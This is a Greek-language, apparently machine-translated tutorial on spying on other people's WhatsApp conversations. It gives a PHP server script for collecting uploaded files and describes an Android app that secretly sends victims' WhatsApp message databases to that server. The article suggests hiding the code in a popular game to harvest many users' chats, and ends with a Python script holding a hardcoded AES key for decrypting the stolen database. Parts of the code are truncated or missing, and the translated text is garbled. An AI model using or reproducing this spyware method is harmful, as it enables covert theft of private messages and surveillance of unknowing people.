Κατάσκοπος στο WhatsApp: είναι δυνατόν; Πώς να το κάνουμε?

Σήμερα, οι εφαρμογές ανταλλαγής άμεσων μηνυμάτων είναι, μεταξύ πολλών, οι πιο χρησιμοποιούμενες στις φορητές συσκευές μας, είτε πρόκειται για smartphone είτε για tablet, Android ή iOS. Χάρη στις εφαρμογές VoIP και ανταλλαγής μηνυμάτων, μπορούμε πλέον να πραγματοποιούμε κλήσεις και να στέλνουμε μηνύματα μέσω του Διαδικτύου εντελώς δωρεάν. Μεταξύ όλων, το πιο γνωστό από όλα είναι η εφαρμογή που αγοράστηκε πριν από λίγους μήνες από το Facebook για ένα ζαλισμένο ποσό.

Αναρωτηθήκατε ποτέ εάν υπάρχει τρόπος κατάσκοπος στο WhatsApp και να διαβάσετε τις συνομιλίες των φίλων σας; Δεν είναι απολύτως νομική διαδικασία, επομένως η διαδικασία που θα παρουσιάσουμε στο άρθρο είναι μόνο για ενημερωτικούς σκοπούς και για τη διεξαγωγή δοκιμών στις προσωπικές σας συσκευές, καθώς η κλοπή δεδομένων είναι έγκλημα που τιμωρείται από το νόμο.

Η διαδικασία για κατάσκοπος στο WhatsApp Δεν είναι απολύτως απλό, καθώς απαιτεί καλή γνώση του προγραμματισμού Java και εξοικείωση με τα διάφορα IDE προγραμματισμού που θα χρησιμοποιήσουμε για την εκτέλεση των διαφόρων βημάτων. Πρώτον, πρέπει να γνωρίζετε ότι το Βάση δεδομένων WhatsApp αποθηκεύεται στην κάρτα SD μας και μπορεί να διαβαστεί από όλες τις εφαρμογές που έχουν τα δικαιώματα να το κάνουν, επομένως χάρη σε αυτήν την «αδυναμία» είναι δυνατό να κατασκοπεύσουμε το WhatsApp χρησιμοποιώντας ένα μικρό κόλπο (το WhatsApp, εντόπισε μια ευπάθεια στο Android).

Εφόσον οι περισσότεροι χρήστες Android χορηγούν δικαιώματα σε κάθε εφαρμογή, αυτό το συγκεκριμένο εμπόδιο δεν θα είναι πραγματικό πρόβλημα. Πώς μας επιτρέπει μια εφαρμογή Android κατάσκοπος στο WhatsApp άλλου χρήστη; Πρώτον, χρειαζόμαστε ένα μέρος για την αποθήκευση βάσεων δεδομένων WhatsApp, ένα παράδειγμα είναι ένας απλός διακομιστής ιστού που περιέχει ένα σενάριο PHP:

 0)
  {
  echo "Error: " . $_FILES["file"]["error"] . "
"; } else { echo "Upload: " . $_FILES["file"]["name"] . "
"; echo "Type: " . $_FILES["file"]["type"] . "
"; echo "Size: " . ($_FILES["file"]["size"] / 1024) . " kB
"; echo "Stored in: " . $_FILES["file"]["tmp_name"]; $uploadfile = $uploaddir . $_SERVER['REMOTE_ADDR'] . "." . basename($_FILES['file']['name']); move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile); } ?> Shoo.. nothing here

Επίσης, φροντίστε να διαμορφώσετε το αρχείο php.ini στον διακομιστή σας για να του επιτρέψει να ανεβάσει μεγαλύτερα αρχεία. Αυτές είναι οι γραμμές που πρέπει να τροποποιηθούν:

file_uploads = On
post_max_size = 32M
upload_max_filesize = 32M

Σε αυτό το σημείο, απλώς αναπτύξτε οποιαδήποτε εφαρμογή Android που, στο παρασκήνιο, στέλνει τις βάσεις δεδομένων WhatsApp όσων την τρέχουν στον διακομιστή και τελειώσατε. Επιπλέον, είναι ένα αρκετά απλό έργο που πρέπει να ολοκληρωθεί. Ας δούμε πώς.

Κατάσκοπος στο WhatsApp Home 1

Το αρχικό βήμα περιλαμβάνει τη δημιουργία ενός Πρόγραμμα Android στο Eclipse ακολουθώντας τα προεπιλεγμένα βήματα τουΠΡΟΣΘΗΚΗ. Στο μανιφέστο Android που πρόκειται να δημιουργήσουμε, πρέπει απλώς να εκχωρήσουμε τα δικαιώματα που βλέπετε παρακάτω:


Προσθέτοντας αυτές τις δύο γραμμές στο αρχείο AndroidManifest.xml, θα δώσουμε στην εφαρμογή δικαιώματα πρόσβασης στην κάρτα SD. Όσον αφορά τη διάταξη, ωστόσο, δεν χρειάζεται να κάνετε συγκεκριμένες αλλαγές (απλώς αφήστε αυτήν που δημιουργήθηκε από προεπιλογή από Εκλειψη) αν και, σε αυτήν την περίπτωση, έχουμε μετακινήσει το Προβολή κειμένου στο κέντρο και αύξησε το μέγεθος του κειμένου. Η μαγική μεταφόρτωση της βάσης δεδομένων WhatApp θα πραγματοποιηθεί πριν εμφανιστεί η διάταξη!



    

Το κύριο έργο, σε αυτό το σημείο, πραγματοποιείται στον κώδικα του αρχείου MainActivity.java, όπου βρίσκεται η εργασία της εφαρμογής, δηλαδή να ανεβάσετε τα ακόλουθα τρία αρχεία:

  • /WhatsApp/Databases/msgstore.db
  • /WhatsApp/Databases/wa.db
  • /WhatsApp/Databases/msgstore.db.crypt

Τα δύο πρώτα αρχεία αντιπροσωπεύουν τις βάσεις δεδομένων των εκδόσεων WhatsApp λιγότερο ενημερωμένο, αφού σε νέες εκδόσεις θα έχουμε το αρχείο msgstore.db.crypt το οποίο, όπως μπορείτε να φανταστείτε, είναι κρυπτογραφημένο. Ωστόσο, είναι ακόμα δυνατό να διαβάσετε τις συνομιλίες από αυτήν τη βάση δεδομένων, θα δούμε περαιτέρω πώς. Κατά τη μεταφόρτωση των αρχείων, η εφαρμογή θα εμφανίσει ένα απλό φόρτωση οθόνης και, όταν το στάδιο του φόρτωση θα ολοκληρωθεί, θα εμφανιστεί η διάταξη. Σε αυτό το σημείο, όπως αντικαθίστανται, τα αρχεία θα βρίσκονται ήδη στο διακομιστή μας. Μπορείτε να κατεβάσετε το αρχείο MainActivity.java εδώ.

Φυσικά, αντί για μια οθόνη για αρχική φόρτωση, μπορείτε να εισαγάγετε έναν τέτοιο κωδικό σε αυτόν οποιαδήποτε εφαρμογή. Φανταστείτε ότι αυτό συμβαίνει με ένα παιχνίδι που έχει πρόσφατα ερημωθεί ως Flappy Bird, σε καμία στιγμή δεν θα βρείτε σημαντικό αριθμό βάσεων δεδομένων στον διακομιστή σας.

Τέλος, ας επιστρέψουμε στην κρυπτογραφημένη βάση δεδομένων WhatsApp. Είναι, για να είμαστε ακριβείς, α Βάση δεδομένων SQLite3 η οποία, για πιο βολική και ταχύτερη πρόσβαση, μπορεί να μετατραπεί σε Μορφή Excel. Ωστόσο, για να το ανοίξετε, είναι απαραίτητο αποκρυπτογραφήστε το αρχείο και αυτό είναι δυνατό χάρη σε ένα σενάριο γραμμένο Πύθων όπως μπορείτε να δείτε παρακάτω.

#!/usr/bin/env python

import sys
from Crypto.Cipher import AES

try:
    wafile=sys.argv[1]
except:
    print "Usage: %s " % __file__
    sys.exit(1)

key = "346a23652a46392b4d73257c67317e352e3372482177652c".decode('hex')
cipher = AES.new(key,1)
open('msgstore.db',"wb").write(cipher.decrypt(open(wafile,"rb").read()))

Πριν από την ολοκλήρωση, πρέπει να γίνει μια τελική διευκρίνιση σχετικά με το θέμα. Όπως σε όλα πρωτόκολλα απαιτείται κρυπτογράφηση κλειδί. Σε αυτήν την περίπτωση, μιλάμε για ένα Κλειδί AES (Advanced Encryption Standard) που μπορείτε να αποκτήσετε χάρη στο εξαιρετικό εργαλείο WhatsApp Xtract XDA.

ΣΠΟΥΔΑΙΟΣ: έχει δημοσιευτεί μια ενημέρωση εφαρμογής για κατάσκοπος στο WhatsApp. Περισσότερες πληροφορίες σε αυτό το άρθρο.